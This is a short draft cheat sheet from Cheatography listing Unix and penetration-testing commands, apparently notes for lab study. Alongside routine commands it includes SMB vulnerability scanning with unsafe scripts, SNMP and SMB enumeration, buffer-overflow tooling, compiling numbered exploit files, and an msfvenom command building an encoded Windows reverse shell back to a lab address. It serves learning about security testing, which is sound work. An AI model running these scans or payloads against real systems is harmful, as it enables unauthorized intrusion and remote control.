Show Menu
Cheatography

*nix Cheet Sheet Cheat Sheet (DRAFT) by

*Nix Commands

This is a draft cheat sheet. It is a work in progress and is not finished yet.

File and Movement

locate
which
find
find / -name *sbd
searches through directory recurs­ively

Users and Groups

passwd

Text

sed
sed -i '/^$/d' foo
deletes blank lines

Tmux

tmux new -s <se­ssi­on-­nam­e>
tmux a -t <se­ssi­on-­nam­e>
tmux detach
tmux kill-s­ession -t <se­ssi­on-­nam­e>
 

Networking

netstat
netstat -antp
Lists all TCP numeric ports and status
netstat
netcat
nc -nv 10.0.0.22 110
HEAD / HTTP/1.0

iptables
iptables -A INPUT -p tcp --dest­ina­tio­n-port 13327 \! -d 127.0.0.1 -j DROP
drops traffic to destin­ation port
wget

File Transfer

tftp
atftpd —daemon —port 69 /tftp
starts tftpd daemon
 

SMB

nmap
nmap -v -p 139, 445 –scrip­t=s­mb-­che­ck-­vulns –scrip­t-a­rgs­=un­safe=1 192.16­8.1­1.201
smb-check MS08-0­67/­07-­029­/06­-02­5/DOS
enum4linux
enum4linux -a 192.16­8.1­1.227
nbtscan
nbtscan -r 192.16­8.1­1/0/24

SNMP

onesix­tyone
onesix­tyone -c <co­mmu­nit­y> -i <ip­s>
checks SNMP at IP file w/ community file
snmpwalk
snmpwalk -c public -v1 192.16­8.1­1.219
enumerates MIB tree on a server with SNMP enabled

Buffer Overflow and Payloads

patter­n_c­rea­te.rb
/usr/s­har­e/m­eta­spl­oit­-fr­ame­wor­k/t­ool­s/e­xpl­oit­/pa­tte­rn_­cre­ate.rb 2700
creates unique 2700 byte string
nasm_s­hell.rb
/usr/s­har­e/m­eta­spl­oit­-fr­ame­wor­k/t­ool­s/e­xpl­oit­/na­sm_­she­ll.rb
opens nasm shell (opcode transl­ation)
mona.py
!mona find -s "­\xf­f\x­e4­\" -m slmfc.dll
finds opcode in selected dll
msfvenom
msfvenom -p window­s/s­hel­l_r­eve­rse_tcp LHOST=­10.0.0.4 LPORT=443 -f c -e x86/sh­ika­ta_­ga_nai -b “x00\x­0a\x0d”
reverse shell tcp payload in C, encoded w/ bad char specified
edb
edb --run /usr/g­ame­s/c­ros­sfi­re/­bin­/cr­ossfire
gcc
gcc 643-fi­xed.c -o slmail­-linux
mingw
i686-w­64-­min­gw3­2-gcc 646-fi­xed.c -lws2_32 -o 646.exe

SQL

sqlmap
sqlmap -u http:/­/10.11.6.109 —crawl=1
basic web-crawl